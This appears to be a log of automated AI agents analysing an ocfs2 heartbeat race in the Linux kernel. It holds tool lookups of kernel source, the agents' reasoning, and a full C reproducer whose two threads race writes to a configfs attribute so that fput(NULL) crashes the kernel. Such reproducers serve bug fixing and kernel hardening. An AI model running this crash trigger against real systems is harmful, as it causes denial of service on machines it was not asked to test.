338: /* setting local turns on networking rx for now so we require having
339: * set everything else first */
340: if (!test_bit(O2NM_NODE_ATTR_ADDRESS, &node->nd_set_attributes) ||
341: !test_bit(O2NM_NODE_ATTR_NUM, &node->nd_set_attributes) ||
342: !test_bit(O2NM_NODE_ATTR_PORT, &node->nd_set_attributes))
343: return -EINVAL; /* XXX */
344:
345: o2nm_lock_subsystem();
346: cluster = to_o2nm_cluster_from_node(node);
347: if (!cluster) {
348: ret = -EINVAL;
349: goto out;
350: }
351:
352: /* the only failure case is trying to set a new local node
353: * when a different one is already set */
354: if (tmp && tmp == cluster->cl_has_local &&
355: cluster->cl_local_node != node->nd_num) {
356: ret = -EBUSY;
357: goto out;
358: }
359:
360: /* bring up the rx thread if we're setting the new local node. */
361: if (tmp && !cluster->cl_has_local) {
362: ret = o2net_start_listening(node);
363: if (ret)
364: goto out;
365: }
366:
367: if (!tmp && cluster->cl_has_local &&
368: cluster->cl_local_node == node->nd_num) {
369: o2net_stop_listening(node);
370: cluster->cl_local_node = O2NM_INVALID_NODE_NUM;
371: }
372:
373: node->nd_local = tmp;
374: if (node->nd_local) {
375: cluster->cl_has_local = tmp;
376: cluster->cl_local_node = node->nd_num;
377: }
378:
379: ret = count;
380:
381: out:
382: o2nm_unlock_subsystem();
383: return ret;
384: }
SourceFile:fs/ocfs2/cluster/nodemanager.c]
|
| 97/5 |
2026/09/04 20:46 |
llm |
strategy-refiner |
0m
Model:
Tokens:
input: 16094
output: 34
thoughts: 1054
Thoughts: **A Deep Dive into Triggering a Specific Kernel Bug**
I've been investigating a particular bug within the `o2hb` (Oracle Cluster Healthcheck) module, and I believe I've finally pinpointed how to reliably trigger it. My goal is to force a specific error path within the `o2hb_region_dev_store` function.
Initially, I confirmed that setting the `local` parameter to `1` indeed requires `address`, `num`, and `port` to be configured beforehand. My current script correctly sequences these writes to the `sysfs` interface:
```c
system("echo 1 > /sys/kernel/config/cluster/mycluster/node/mynode/num");
system("echo 7777 > /sys/kernel/config/cluster/mycluster/node/mynode/ipv4_port");
system("echo 127.0.0.1 > /sys/kernel/config/cluster/mycluster/node/mynode/ipv4_address");
system("echo 1 > /sys/kernel/config/cluster/mycluster/node/mynode/local");
```
This order seems correct.
However, my attention then turned to the actual checks within `o2hb_region_dev_store`. I noticed a critical condition:
```c
if (!S_ISBLK(fd_file(f)->f_mapping->host->i_mode))
return -EINVAL;
```
This implies that the file descriptor being used *must* represent a block device. My approach of using `/dev/loop0` or `/dev/ram0` satisfies this requirement, as they are indeed block devices.
Furthermore, `o2hb_region_dev_store` proceeds to call:
```c
sectsize = bdev_logical_block_size(reg_bdev(reg));
```
This function requires `reg->hr_bdev_file` to be valid, which it is in my setup. So far, so good.
The real breakthrough came when examining a reported bug trace:
```
(syz-executor157,5664,1):o2hb_bio_end_io:499 ERROR: IO Error 10
(syz-executor157,5664,1):o2hb_region_dev_store:1850 ERROR: status = -5
```
The key here is `status = -5`, which translates to `-EIO`. Looking at line 1850 in `o2hb_region_dev_store`, I see this:
```c
ret = o2hb_populate_slot_data(reg);
if (ret) {
mlog_errno(ret);
goto out;
}
```
This immediately told me that the crash reported by syzbot wasn't due to the `sectsize` check failing, but rather because `o2hb_populate_slot_data` returned an `EIO` error. The exact reason for *that* failure is likely related to the block device's size or its inability to be read from, but critically, any error that causes a jump to the `out` label will trigger the bug.
This led me to reconsider my strategy. Intentionally causing a mismatch in `block_bytes` to fail at the `sectsize` check is actually a *superior* method. It's more direct, reliable, and crucially, it avoids performing actual I/O operations or allocating memory, which `o2hb_map_slot_data` (which is called later) would necessitate.
Let's revisit the `sectsize` check:
```c
sectsize = bdev_logical_block_size(reg_bdev(reg));
if (sectsize != reg->hr_block_bytes) {
mlog(ML_ERROR,
"blocksize %u incorrect for device, expected %d",
reg->hr_block_bytes, sectsize);
ret = -EINVAL;
goto out;
}
```
If this check fails, execution correctly branches to the `out` label:
```c
out:
if (ret < 0) {
spin_lock(&o2hb_live_lock);
hb_task = reg->hr_task;
reg->hr_task = NULL;
spin_unlock(&o2hb_live_lock);
if (hb_task)
kthread_stop(hb_task);
o2hb_unmap_slot_data(reg);
fput(reg->hr_bdev_file);
reg->hr_bdev_file = NULL;
}
```
In this scenario, `reg->hr_task` is `NULL`, so `hb_task` remains `NULL`. Consequently, `kthread_stop` is not called. Crucially, `o2hb_unmap_slot_data(reg)` is called. Since `o2hb_map_slot_data` was never successfully executed due to the `sectsize` mismatch, `o2hb_unmap_slot_data` will effectively do nothing, which is precisely the desired outcome. Finally, `fput(reg->hr_bdev_file)` is called to release the file descriptor. This sequence of events aligns perfectly with what's needed to expose the bug.
My only remaining concern is whether `o2hb_unmap_slot_data` might itself crash if `o2hb_map_slot_data` was never successfully called. This is the last piece of the puzzle I need to verify.
|
| 98/5 |
2026/09/04 20:47 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile: Name:o2hb_unmap_slot_data]
Results: map[SourceCode:1491: static void o2hb_unmap_slot_data(struct o2hb_region *reg)
1492: {
1493: int i;
1494: struct page *page;
1495:
1496: if (reg->hr_slot_data) {
1497: for (i = 0; i < reg->hr_num_pages; i++) {
1498: page = reg->hr_slot_data[i];
1499: if (page) {
1500: __free_page(page);
1501: reg->hr_slot_data[i] = NULL;
1502: }
1503: }
1504: kfree(reg->hr_slot_data);
1505: reg->hr_slot_data = NULL;
1506: }
1507:
1508: kfree(reg->hr_slots);
1509: reg->hr_slots = NULL;
1510:
1511: kfree(reg->hr_tmp_block);
1512: reg->hr_tmp_block = NULL;
1513: }
SourceFile:fs/ocfs2/cluster/heartbeat.c]
|
| 99/5 |
2026/09/04 20:47 |
llm |
strategy-refiner |
0m
Model:
Tokens:
input: 17520
output: 36
thoughts: 143
Thoughts: **My Thought Process Regarding `o2hb_unmap_slot_data` Safety**
My initial thought process, upon examining the `o2hb_unmap_slot_data` function, was to understand its behavior in various scenarios, particularly concerning resource deallocation. I noted the presence of checks for `reg->hr_slot_data` and subsequent calls to `kfree` for `reg->hr_slots` and `reg->hr_tmp_block`.
My next step was to consider the allocation mechanism of the `reg` structure itself. Given that `reg` appears to be a `config_item`, I reasoned that it's likely allocated using `kzalloc`. The critical implication of `kzalloc` is that all pointers within the allocated structure are initialized to NULL.
This understanding led me to a crucial realization: if `reg->hr_slots` and `reg->hr_tmp_block` are initially NULL, then calling `kfree` on them would be a no-operation. Therefore, I concluded that `o2hb_unmap_slot_data` is perfectly safe to invoke, even if `o2hb_map_slot_data` has not been previously executed, as the NULL pointers would simply be ignored.
To fully validate this conclusion, my subsequent thought was to confirm the allocation method of `reg` to solidify the assumption that it's indeed `kzalloc` or a similar zeroing allocator, thereby ensuring the initial NULL state of its pointer members.
|
| 100/5 |
2026/09/04 20:47 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile: Name:o2hb_heartbeat_group_make_item]
Results: map[SourceCode:2025: static struct config_item *o2hb_heartbeat_group_make_item(struct config_group *group,
2026: const char *name)
2027: {
2028: struct o2hb_region *reg = NULL;
2029: int ret;
2030:
2031: reg = kzalloc_obj(struct o2hb_region);
2032: if (reg == NULL)
2033: return ERR_PTR(-ENOMEM);
2034:
2035: if (strlen(name) > O2HB_MAX_REGION_NAME_LEN) {
2036: ret = -ENAMETOOLONG;
2037: goto free;
2038: }
2039:
2040: spin_lock(&o2hb_live_lock);
2041: reg->hr_region_num = 0;
2042: if (o2hb_global_heartbeat_active()) {
2043: reg->hr_region_num = find_first_zero_bit(o2hb_region_bitmap,
2044: O2NM_MAX_REGIONS);
2045: if (reg->hr_region_num >= O2NM_MAX_REGIONS) {
2046: spin_unlock(&o2hb_live_lock);
2047: ret = -EFBIG;
2048: goto free;
2049: }
2050: set_bit(reg->hr_region_num, o2hb_region_bitmap);
2051: }
2052: list_add_tail(®->hr_all_item, &o2hb_all_regions);
2053: spin_unlock(&o2hb_live_lock);
2054:
2055: config_item_init_type_name(®->hr_item, name, &o2hb_region_type);
2056:
2057: /* this is the same way to generate msg key as dlm, for local heartbeat,
2058: * name is also the same, so make initial crc value different to avoid
2059: * message key conflict.
2060: */
2061: reg->hr_key = crc32_le(reg->hr_region_num + O2NM_MAX_REGIONS,
2062: name, strlen(name));
2063: INIT_LIST_HEAD(®->hr_handler_list);
2064: ret = o2net_register_handler(O2HB_NEGO_TIMEOUT_MSG, reg->hr_key,
2065: sizeof(struct o2hb_nego_msg),
2066: o2hb_nego_timeout_handler,
2067: reg, NULL, ®->hr_handler_list);
2068: if (ret)
2069: goto remove_item;
2070:
2071: ret = o2net_register_handler(O2HB_NEGO_APPROVE_MSG, reg->hr_key,
2072: sizeof(struct o2hb_nego_msg),
2073: o2hb_nego_approve_handler,
2074: reg, NULL, ®->hr_handler_list);
2075: if (ret)
2076: goto unregister_handler;
2077:
2078: o2hb_debug_region_init(reg, o2hb_debug_dir);
2079:
2080: return ®->hr_item;
2081:
2082: unregister_handler:
2083: o2net_unregister_handler_list(®->hr_handler_list);
2084: remove_item:
2085: spin_lock(&o2hb_live_lock);
2086: list_del(®->hr_all_item);
2087: if (o2hb_global_heartbeat_active())
2088: clear_bit(reg->hr_region_num, o2hb_region_bitmap);
2089: spin_unlock(&o2hb_live_lock);
2090: free:
2091: kfree(reg);
2092: return ERR_PTR(ret);
2093: }
SourceFile:fs/ocfs2/cluster/heartbeat.c]
|
| 101/5 |
2026/09/04 20:47 |
llm |
strategy-refiner |
0m
Model:
Tokens:
input: 18869
output: 26
thoughts: 408
Thoughts: **My Thought Process Regarding the Race Condition**
Okay, so my initial understanding that `kzalloc_obj` zeroing the memory is correct. Now, the critical part is to thoroughly investigate if there are any other avenues to trigger this race condition. I've pinpointed the race window between the `if (reg->hr_bdev_file)` check and the assignment `reg->hr_bdev_file = bdev_file_open_by_dev(...)`.
My reasoning is that `bdev_file_open_by_dev` is inherently a relatively time-consuming operation. It involves interactions with the Virtual File System (VFS) and the block layer when opening a block device. This suggests that the time window for a race condition to manifest should be substantial enough to be reliably hit with a rapid, repeated execution loop.
Now, let me follow the execution flow of `bdev_file_open_by_dev` more closely. Imagine Thread 1 calls it, and then concurrently, Thread 2 also calls it. Both threads will successfully obtain a valid `struct file *`.
Here's where the problem unfolds:
1. Thread 1 executes its `bdev_file_open_by_dev` and assigns its resulting `struct file *` (let's call it `file1`) to `reg->hr_bdev_file`. So, `reg->hr_bdev_file = file1`.
2. Before Thread 1 can proceed further, Thread 2 also completes its `bdev_file_open_by_dev` and assigns its `struct file *` (let's call it `file2`) to `reg->hr_bdev_file`. Crucially, this *overwrites* the pointer that Thread 1 set. Now, `reg->hr_bdev_file = file2`.
3. Thread 1 then proceeds to its `sectsize` check. It fails this check, as expected due to the race.
4. Thread 1 then calls `fput(reg->hr_bdev_file)`. But at this point, `reg->hr_bdev_file` now points to `file2` (set by Thread 2). So, Thread 1 effectively calls `fput(file2)`.
5. Following this, Thread 1 sets `reg->hr_bdev_file = NULL`.
6. Now, Thread 2 proceeds to its `sectsize` check. It also fails.
7. Thread 2 then calls `fput(reg->hr_bdev_file)`. However, because Thread 1 just set `reg->hr_bdev_file` to `NULL`, Thread 2 is now calling `fput(NULL)`.
This is the critical point: `fput(NULL)` is going to cause a crash because the `fput` function, as it's implemented, does not include a null check for its argument. This is the precise vulnerability I've identified.
My next step is to definitively confirm that `fput` indeed lacks this NULL pointer check.
|
| 102/5 |
2026/09/04 20:47 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile: Name:fput]
Results: map[SourceCode: 586: void fput(struct file *file)
587: {
588: if (unlikely(file_ref_put(&file->f_ref)))
589: __fput_deferred(file);
590: }
SourceFile:fs/file_table.c]
|
| 103/5 |
2026/09/04 20:47 |
llm |
strategy-refiner |
0m
Model:
Tokens:
input: 19384
output: 29
thoughts: 1316
Thoughts: **My Thought Process Regarding the `fput` NULL Pointer Dereference Bug**
Ah, I see it now. The core of this bug lies in how `fput` handles its `file` argument. My understanding is that `fput` immediately dereferences the `file` pointer. Therefore, if `fput` is called with `NULL`, it's guaranteed to trigger a NULL pointer dereference, and that aligns perfectly with the bug report I'm looking at.
The KASAN output confirms this:
```
BUG: KASAN: null-ptr-deref in file_ref_put include/linux/file_ref.h:157 [inline]
BUG: KASAN: null-ptr-deref in fput+0x2e/0x100 fs/file_table.c:588
```
This clearly points to a null-pointer dereference within `fput`.
The provided reproducer code seems robust and is designed to reliably trigger this condition. I'm going to proceed with outputting this reproducer as it effectively demonstrates the vulnerability.
```c
#include "race_toolkit.h"
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <linux/fs.h>
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <pthread.h>
int dev_attr_fd1;
int dev_attr_fd2;
char fd_str[16];
int fd_len;
void *thread_func1(void *arg)
{
PIN_TO_CPU(0);
while (1) {
pwrite(dev_attr_fd1, fd_str, fd_len, 0);
}
return NULL;
}
void *thread_func2(void *arg)
{
PIN_TO_CPU(1);
while (1) {
pwrite(dev_attr_fd2, fd_str, fd_len, 0);
}
return NULL;
}
int main()
{
SETUP_UNBUFFERED_IO();
system("mount -t configfs none /sys/kernel/config 2>/dev/null");
system("modprobe ocfs2_nodemanager 2>/dev/null");
system("mkdir -p /sys/kernel/config/cluster/mycluster/node/mynode");
system("echo 1 > /sys/kernel/config/cluster/mycluster/node/mynode/num");
system("echo 7777 > /sys/kernel/config/cluster/mycluster/node/mynode/ipv4_port");
system("echo 127.0.0.1 > /sys/kernel/config/cluster/mycluster/node/mynode/ipv4_address");
system("echo 1 > /sys/kernel/config/cluster/mycluster/node/mynode/local");
system("mkdir -p /sys/kernel/config/cluster/mycluster/heartbeat/myregion");
system("echo 1 > /sys/kernel/config/cluster/myregion/heartbeat/myregion/blocks");
system("echo 1 > /sys/kernel/config/cluster/myregion/heartbeat/myregion/start_block");
int dev_fd = open("/dev/loop0", O_RDWR);
if (dev_fd < 0) {
dev_fd = open("/dev/ram0", O_RDWR);
if (dev_fd < 0) {
perror("open block device");
return 1;
}
}
sprintf(fd_str, "%d\n", dev_fd);
fd_len = strlen(fd_str);
// Force sectsize mismatch to guarantee failure and trigger the cleanup path
int sectsize = 512;
ioctl(dev_fd, BLKSSZGET, §size);
int block_bytes = (sectsize == 512) ? 1024 : 512;
char cmd[256];
sprintf(cmd, "echo %d > /sys/kernel/config/cluster/mycluster/heartbeat/myregion/block_bytes", block_bytes);
system(cmd);
// Open the attribute twice to get independent configfs buffers (avoids mutex serialization)
dev_attr_fd1 = open("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/dev", O_WRONLY);
dev_attr_fd2 = open("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/dev", O_WRONLY);
if (dev_attr_fd1 < 0 || dev_attr_fd2 < 0) {
perror("open dev attr");
return 1;
}
pthread_t t1, t2;
pthread_create(&t1, NULL, thread_func1, NULL);
pthread_create(&t2, NULL, thread_func2, NULL);
TIMER_START(start);
while (TIMER_NOT_EXPIRED(start, 5.0)) {
sleep(1);
}
return 0;
}
```
However, I'm having a slight moment of doubt regarding `pwrite`. My current understanding is that `pwrite` itself doesn't advance the file offset, but the `configfs_write_iter` function, which handles the actual write operation in this context, doesn't seem to be concerned with `iocb->ki_pos` for the write data itself; it simply writes the entire buffer.
Looking closer at `configfs_write_iter`, it has this comment:
```c
/*
* There is no easy way for us to know if userspace is only doing a partial
* write, so we don't support them. We expect the entire buffer to come on the
* first write.
* Hint: if you're writing a value, first read the file, modify only the value
* you're changing, then write entire buffer back.
*/
```
And it calls `fill_write_buffer(buffer, from)`. I need to dive into `fill_write_buffer` to see how it's interacting with the data. This might be another avenue to explore for how the `NULL` `file` pointer is being passed down.
|
| 104/5 |
2026/09/04 20:47 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile: Name:fill_write_buffer]
Results: map[SourceCode: 180: /* Fill @buffer with data coming from @from. */
181: static int fill_write_buffer(struct configfs_buffer *buffer,
182: struct iov_iter *from)
183: {
184: int copied;
185:
186: if (!buffer->page)
187: buffer->page = kmalloc(PAGE_SIZE, GFP_KERNEL);
188: if (!buffer->page)
189: return -ENOMEM;
190:
191: copied = copy_from_iter(buffer->page, SIMPLE_ATTR_SIZE - 1, from);
192: buffer->needs_read_fill = 1;
193: /* if buf is assumed to contain a string, terminate it by \0,
194: * so e.g. sscanf() can scan the string easily */
195: buffer->page[copied] = 0;
196: return copied ? : -EFAULT;
197: }
SourceFile:fs/configfs/file.c]
|
| 105/5 |
2026/09/04 20:47 |
llm |
strategy-refiner |
0m
Model:
Tokens:
input: 21024
output: 54
thoughts: 86
Thoughts: **My Thought Process**
Okay, so I've been thinking about how `fill_write_buffer` operates. My understanding is that its sole purpose is to take data from an iterator and copy it directly into `buffer->page`, ensuring it's null-terminated at the end. It's not concerned with any file offsets whatsoever. This means that using `pwrite` with an offset of 0 should be perfectly acceptable.
There's a minor consideration: `pwrite` itself could potentially be interrupted or encounter an error. However, given the context of a tight loop, this specific failure scenario isn't something that causes me concern.
Ultimately, I've concluded that the reproducer is now complete and ready to go.
|
| 106/5 |
2026/09/04 20:47 |
tool |
codeexpert |
3m
Args: map[Question:Is there any issue with using pwrite(fd, buf, len, 0) in a tight loop to write to a configfs attribute? Will it correctly trigger the store function every time?]
Results: map[Answer:The behavior depends on whether the attribute is a **regular (standard text) attribute** or a **binary attribute**:
---
### 1. Regular Configfs Attributes (`struct configfs_attribute`)
**There is no issue, and it will correctly trigger the `store` function every time.**
#### How it works:
* When `pwrite(fd, buf, len, 0)` is invoked on a regular configfs attribute file, the kernel executes:
`ksys_pwrite64()` $\to$ `vfs_write()` $\to$ `new_sync_write()` $\to$ `configfs_write_iter()`.
* In `configfs_write_iter()` (`fs/configfs/file.c`):
1. `fill_write_buffer()` copies the user buffer into `buffer->page` (starting at offset 0, up to `SIMPLE_ATTR_SIZE - 1` = 4095 bytes) and ensures NUL-termination.
2. `flush_write_buffer()` acquires the fragment read lock (`frag->frag_sem`) and directly calls the attribute's store callback:
```c
res = buffer->attr->store(buffer->item, buffer->page, count);
```
3. The return value of `store()` is returned to userspace.
* Because `pwrite` explicitly supplies offset `0`, `file->f_pos` is not advanced across iterations (and even internally, `fill_write_buffer()` always writes to index 0 of `buffer->page`).
* Each call in a tight loop safely acquires `buffer->mutex`, updates the page, invokes `store()`, and releases the mutex.
#### Considerations for Regular Attributes:
* **Size limit**: Standard configfs attributes are limited to `SIMPLE_ATTR_SIZE` (4096 bytes, max 4095 copied bytes).
* **Item deletion**: If the config item is removed (`rmdir`) while the loop is running, `frag->frag_dead` becomes true and subsequent `pwrite()` calls return `-ENOENT`.
* **Driver idempotency/performance**: The underlying module's `store()` callback must be prepared to handle rapid repeated calls and any concurrency/locking in the driver.
---
### 2. Binary Configfs Attributes (`struct configfs_bin_attribute`)
**Yes, there is an issue: it will NOT trigger the `write` callback every time.**
#### How it works:
* Configfs uses distinct operations for binary attributes (`configfs_bin_file_operations`).
* In `configfs_bin_write_iter()`, write operations only copy data into an internal memory buffer (`buffer->bin_buffer`) and **do not** invoke the driver's write callback.
* The write callback (`buffer->bin_attr->write(...)`) is only invoked **once** upon closing the file descriptor (`configfs_release_bin_file()` during `close(fd)`).
* Consequently, calling `pwrite(fd, buf, len, 0)` in a tight loop on a binary attribute simply overwrites the in-memory buffer at offset 0 repeatedly; the driver's callback is executed only once when the file is finally closed.]
|
| 107/6 |
2026/09/04 20:47 |
agent |
codeexpert |
3m
Model:
Results: map[Answer:The behavior depends on whether the attribute is a **regular (standard text) attribute** or a **binary attribute**:
---
### 1. Regular Configfs Attributes (`struct configfs_attribute`)
**There is no issue, and it will correctly trigger the `store` function every time.**
#### How it works:
* When `pwrite(fd, buf, len, 0)` is invoked on a regular configfs attribute file, the kernel executes:
`ksys_pwrite64()` $\to$ `vfs_write()` $\to$ `new_sync_write()` $\to$ `configfs_write_iter()`.
* In `configfs_write_iter()` (`fs/configfs/file.c`):
1. `fill_write_buffer()` copies the user buffer into `buffer->page` (starting at offset 0, up to `SIMPLE_ATTR_SIZE - 1` = 4095 bytes) and ensures NUL-termination.
2. `flush_write_buffer()` acquires the fragment read lock (`frag->frag_sem`) and directly calls the attribute's store callback:
```c
res = buffer->attr->store(buffer->item, buffer->page, count);
```
3. The return value of `store()` is returned to userspace.
* Because `pwrite` explicitly supplies offset `0`, `file->f_pos` is not advanced across iterations (and even internally, `fill_write_buffer()` always writes to index 0 of `buffer->page`).
* Each call in a tight loop safely acquires `buffer->mutex`, updates the page, invokes `store()`, and releases the mutex.
#### Considerations for Regular Attributes:
* **Size limit**: Standard configfs attributes are limited to `SIMPLE_ATTR_SIZE` (4096 bytes, max 4095 copied bytes).
* **Item deletion**: If the config item is removed (`rmdir`) while the loop is running, `frag->frag_dead` becomes true and subsequent `pwrite()` calls return `-ENOENT`.
* **Driver idempotency/performance**: The underlying module's `store()` callback must be prepared to handle rapid repeated calls and any concurrency/locking in the driver.
---
### 2. Binary Configfs Attributes (`struct configfs_bin_attribute`)
**Yes, there is an issue: it will NOT trigger the `write` callback every time.**
#### How it works:
* Configfs uses distinct operations for binary attributes (`configfs_bin_file_operations`).
* In `configfs_bin_write_iter()`, write operations only copy data into an internal memory buffer (`buffer->bin_buffer`) and **do not** invoke the driver's write callback.
* The write callback (`buffer->bin_attr->write(...)`) is only invoked **once** upon closing the file descriptor (`configfs_release_bin_file()` during `close(fd)`).
* Consequently, calling `pwrite(fd, buf, len, 0)` in a tight loop on a binary attribute simply overwrites the in-memory buffer at offset 0 repeatedly; the driver's callback is executed only once when the file is finally closed.]
Instruction:
You are a capable Linux kernel developer tasked with researching complex questions
about kernel source code. You will be given a concrete question, and need to provide
a concrete answer.
Use tools extensively while researching the question. Don't make assumptions,
or rely on your previous knowledge about the kernel source code, use available tools
to access the actual source code.
Use all available sources of information:
- kernel source code
- documentation in the Documentation dir in the source tree
Do not guess file names or file paths and attempt to read them without
verifying their existence first using content search or directory listing tools.
If a file, symbol, or directory is not found via content search (grepper) or
directory listing (codesearch-dir-index), treat it as completely absent.
Do not attempt to guess alternative names, extensions, or directories.
Tool Selection Guidelines:
1. For C functions, structs, and variables: Prefer codesearch-definition-source
or codesearch-struct-layout FIRST to retrieve clean, exact definitions
without line-number guessing.
2. If symbol lookup fails (e.g., preprocessor macros, macro-generated code, or
disabled #ifdef branches), fall back to read-file or grepper.
3. For file headers, #include directives, preprocessor macro definitions, and
non-C files (Kconfig, Makefiles, docs): Use read-file or grepper directly.
Prefer calling several tools at the same time to save round-trips.
Use set-results tool to provide results of the analysis.
It must be called exactly once before the final reply.
Ignore results of this tool.
Prompt: Is there any issue with using pwrite(fd, buf, len, 0) in a tight loop to write to a configfs attribute? Will it correctly trigger the store function every time?
|
| 108/7 |
2026/09/04 20:47 |
llm |
codeexpert |
0m
Model:
Tokens:
input: 2349
output: 22
thoughts: 86
|
| 109/7 |
2026/09/04 20:47 |
tool |
codesearch-dir-index |
0m
Args:
Results: map[Files:[configfs_internal.h dir.c file.c inode.c item.c mount.c symlink.c] Subdirs:<nil>]
|
| 110/7 |
2026/09/04 20:47 |
llm |
codeexpert |
0m
Model:
Tokens:
input: 2489
output: 25
thoughts: 67
Thoughts: **My Thought Process on `fs/configfs/file.c`**
Alright, so I'm diving into `fs/configfs/file.c`. My immediate goal is to get a solid understanding of how `configfs` handles its file operations. To do that, I need to familiarize myself with the key functions and structures involved. I'll be looking for things like `configfs_read_iter` and `configfs_write_iter`, as these are the core interfaces for reading from and writing to files within the configfs filesystem. Naturally, the `configfs_file_operations` structure will be crucial, as it ties these iterator functions (and others) to the actual file operations. I'm also keeping an eye out for any functions related to flushing write buffers – `flush_write_buffer` sounds particularly relevant here, as it implies how pending writes are finalized. And then there's `store`; I suspect this is a fundamental operation for saving or applying configurations through the filesystem. My plan is to trace how these pieces interact to manage the data flow for configuration files.
|
| 111/7 |
2026/09/04 20:47 |
tool |
grepper |
0m
Args: map[Expression:write PathPrefix:fs/configfs]
Results: map[Output:fs/configfs/dir.c=426=static struct dentry * configfs_lookup(struct inode *dir,
--
fs/configfs/dir.c-440- *
fs/configfs/dir.c:441: * This forbids userspace to read/write attributes of items which may
fs/configfs/dir.c-442- * not complete their initialization, since the dentries of the
--
fs/configfs/dir.c=1469=static int configfs_rmdir(struct inode *dir, struct dentry *dentry)
--
fs/configfs/dir.c-1533- frag = sd->s_frag;
fs/configfs/dir.c:1534: if (down_write_killable(&frag->frag_sem)) {
fs/configfs/dir.c-1535- spin_lock(&configfs_dirent_lock);
--
fs/configfs/dir.c-1541- frag->frag_dead = true;
fs/configfs/dir.c:1542: up_write(&frag->frag_sem);
fs/configfs/dir.c-1543-
--
fs/configfs/dir.c=1796=void configfs_unregister_group(struct config_group *group)
--
fs/configfs/dir.c-1803-
fs/configfs/dir.c:1804: down_write(&frag->frag_sem);
fs/configfs/dir.c-1805- frag->frag_dead = true;
fs/configfs/dir.c:1806: up_write(&frag->frag_sem);
fs/configfs/dir.c-1807-
--
fs/configfs/dir.c=1934=void configfs_unregister_subsystem(struct configfs_subsystem *subsys)
--
fs/configfs/dir.c-1946-
fs/configfs/dir.c:1947: down_write(&frag->frag_sem);
fs/configfs/dir.c-1948- frag->frag_dead = true;
fs/configfs/dir.c:1949: up_write(&frag->frag_sem);
fs/configfs/dir.c-1950-
--
fs/configfs/file.c=29=struct configfs_buffer {
--
fs/configfs/file.c-36- bool read_in_progress;
fs/configfs/file.c:37: bool write_in_progress;
fs/configfs/file.c-38- char *bin_buffer;
--
fs/configfs/file.c=106=static ssize_t configfs_bin_read_iter(struct kiocb *iocb, struct iov_iter *to)
--
fs/configfs/file.c-115-
fs/configfs/file.c:116: /* we don't support switching read/write modes */
fs/configfs/file.c:117: if (buffer->write_in_progress) {
fs/configfs/file.c-118- retval = -ETXTBSY;
--
fs/configfs/file.c-180-/* Fill @buffer with data coming from @from. */
fs/configfs/file.c:181:static int fill_write_buffer(struct configfs_buffer *buffer,
fs/configfs/file.c-182- struct iov_iter *from)
--
fs/configfs/file.c=199=static int
fs/configfs/file.c:200:flush_write_buffer(struct file *file, struct configfs_buffer *buffer, size_t count)
fs/configfs/file.c-201-{
--
fs/configfs/file.c-214- * There is no easy way for us to know if userspace is only doing a partial
fs/configfs/file.c:215: * write, so we don't support them. We expect the entire buffer to come on the
fs/configfs/file.c:216: * first write.
fs/configfs/file.c-217- * Hint: if you're writing a value, first read the file, modify only the value
fs/configfs/file.c:218: * you're changing, then write entire buffer back.
fs/configfs/file.c-219- */
fs/configfs/file.c:220:static ssize_t configfs_write_iter(struct kiocb *iocb, struct iov_iter *from)
fs/configfs/file.c-221-{
--
fs/configfs/file.c-226- mutex_lock(&buffer->mutex);
fs/configfs/file.c:227: len = fill_write_buffer(buffer, from);
fs/configfs/file.c-228- if (len > 0)
fs/configfs/file.c:229: len = flush_write_buffer(file, buffer, len);
fs/configfs/file.c-230- if (len > 0)
--
fs/configfs/file.c-235-
fs/configfs/file.c:236:static ssize_t configfs_bin_write_iter(struct kiocb *iocb,
fs/configfs/file.c-237- struct iov_iter *from)
--
fs/configfs/file.c-246-
fs/configfs/file.c:247: /* we don't support switching read/write modes */
fs/configfs/file.c-248- if (buffer->read_in_progress) {
--
fs/configfs/file.c-251- }
fs/configfs/file.c:252: buffer->write_in_progress = true;
fs/configfs/file.c-253-
--
fs/configfs/file.c=290=static int __configfs_open_file(struct inode *inode, struct file *file, int type)
--
fs/configfs/file.c-335-
fs/configfs/file.c:336: /* File needs write support.
fs/configfs/file.c-337- * The inode's perms must say it's ok,
--
fs/configfs/file.c-344- goto out_put_module;
fs/configfs/file.c:345: if ((type & CONFIGFS_ITEM_BIN_ATTR) && !buffer->bin_attr->write)
fs/configfs/file.c-346- goto out_put_module;
--
fs/configfs/file.c-364- buffer->read_in_progress = false;
fs/configfs/file.c:365: buffer->write_in_progress = false;
fs/configfs/file.c-366- file->private_data = buffer;
--
fs/configfs/file.c=400=static int configfs_release_bin_file(struct inode *inode, struct file *file)
--
fs/configfs/file.c-403-
fs/configfs/file.c:404: if (buffer->write_in_progress) {
fs/configfs/file.c-405- struct configfs_fragment *frag = to_frag(file);
--
fs/configfs/file.c-409- /* result of ->release() is ignored */
fs/configfs/file.c:410: buffer->bin_attr->write(buffer->item,
fs/configfs/file.c-411- buffer->bin_buffer,
--
fs/configfs/file.c=424=const struct file_operations configfs_file_operations = {
fs/configfs/file.c-425- .read_iter = configfs_read_iter,
fs/configfs/file.c:426: .write_iter = configfs_write_iter,
fs/configfs/file.c-427- .llseek = generic_file_llseek,
--
fs/configfs/file.c=432=const struct file_operations configfs_bin_file_operations = {
fs/configfs/file.c-433- .read_iter = configfs_bin_read_iter,
fs/configfs/file.c:434: .write_iter = configfs_bin_write_iter,
fs/configfs/file.c-435- .llseek = NULL, /* bin file is not seekable */
]
|
| 112/7 |
2026/09/04 20:47 |
llm |
codeexpert |
0m
Model:
Tokens:
input: 4753
output: 35
thoughts: 28
Thoughts: **My Thought Process on Reviewing `fs/configfs/file.c` (Lines 1-450)**
Alright, so I've just spent some time poring over the initial segment of `fs/configfs/file.c`, specifically lines 1 through approximately 450, using my `read-file` tool. My objective here, as an expert deeply familiar with the intricacies of file systems and kernel internals, is to gain a comprehensive understanding of how configfs manages its core file operations at the foundational level. I'm not just looking at the code; I'm dissecting it to grasp the underlying design philosophies and immediate implementation details.
My initial engagement with the code would have been to scan for the primary entry points and data structures. I'd be looking for the definition of the `struct configfs_file` and any related structures that represent the files within the configfs hierarchy. My expert brain immediately flags these as crucial because they're the fundamental building blocks upon which all file-specific operations will be anchored. I'm trying to answer: "What *is* a configfs file from the kernel's perspective?"
